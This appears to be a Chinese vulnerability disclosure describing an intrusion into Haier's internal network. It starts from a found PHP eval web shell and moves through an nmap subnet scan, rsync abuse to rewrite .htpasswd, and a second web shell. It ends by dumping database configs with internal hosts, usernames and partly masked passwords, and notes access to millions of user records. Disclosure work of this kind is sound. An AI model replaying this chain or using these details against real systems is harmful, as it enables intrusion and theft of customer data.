海尔某遗留问题进入内网 加之 内网防护过于薄弱 可导致商城用户、订单库泄露
https://zixun.ehaier.com/ 为wordpress搭建
对之前常见批量getshell特征匹配 成功找到一个后门
https://zixun.ehaier.com/wp-content/themes/radius/404.php
后门创建时间为13-7-21
<?php @eval($_POST['pass']);?>
典型的php一句话
如果进行过查杀很容易发现
uname -a
Linux zixun-01.hst.ehaieridc.net 2.6.18-128.el5xen #1 SMP Wed Dec 17 12:01:40 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
内核版本比较老 可以直接进行提权
对网络基本结构进行分析
发现基本通信都是在10.9.10.1/24网段进行
本机已经安装了nmap,使用nmap对c段进行基本扫描
经过筛选发现 10.9.10.135 开启了rsync未授权访问
web访问 10.9.10.135 开启了 401认证
由于rsync可写 下载.htpasswd 然后添加一个用户test:123456
登陆成功。
然后同步一个shell上去,成功getshell。
登陆时发现这web的功能是统计网站数据,包含用户、订单、访问等等
猜测有连接数据库的关键文件
查找配置文件,找到main_pro.php果然发现很多数据库配置
'db'=>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=10.9.10.61;dbname=db_mnt',
'emulatePrepare' => true,
'username' => 'imgfilter',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_mobile_mnt'=>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-cps-wrt.vip.ehaieridc.net;dbname=db_mobile_mnt',
'emulatePrepare' => true,
'username' => 'report',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_analysis' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-cps-wrt.vip.ehaieridc.net;dbname=ehaier_analysis_db',
'emulatePrepare' => true,
'username' => 'report',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => 'tbl_',
),
'data_analysis' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-cps-wrt.vip.ehaieridc.net;dbname=data_analysis',
'emulatePrepare' => true,
'username' => 'report',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_shop' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-www-rnd.vip.ehaieridc.net;dbname=Shop',
'emulatePrepare' => true,
'username' => 'pec',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_shopattributes' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-www-rnd.vip.ehaieridc.net;dbname=ShopAttributes',
'emulatePrepare' => true,
'username' => 'pec',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_stock' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-cbs-rnd.vip.ehaieridc.net;dbname=db_stock',
'emulatePrepare' => true,
'username' => 'cbs_stock_ro',
'password' => '**********D)(]*********[zdF',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_eis' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-cbs-wrt.vip.ehaieridc.net;dbname=db_eis',
'emulatePrepare' => true,
'username' => 'cbs_eis_ser',
'password' => 'cBs*{*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
'db_mobile' =>array(
'class' => 'CDbConnection',
'connectionString' => 'mysql:host=my-shop-rnd.vip.ehaieridc.net;dbname=m_shop',
'emulatePrepare' => true,
'username' => 'm_shop_ro',
'password' => '*********',
'charset' => 'utf8',
'tablePrefix' => '',
),
连接'connectionString' => 'mysql:host=my-www-rnd.vip.ehaieridc.net;dbname=Shop',
的数据库
用户473w
为了验证是线上数据库 我注册了一个账号 在数据库中马上查到了
订单
黑客入侵内网 无非就是想要这些 已经没有必要继续深入
解决方案:
边界安全做好
经常对服务器进行体检
做好内网安全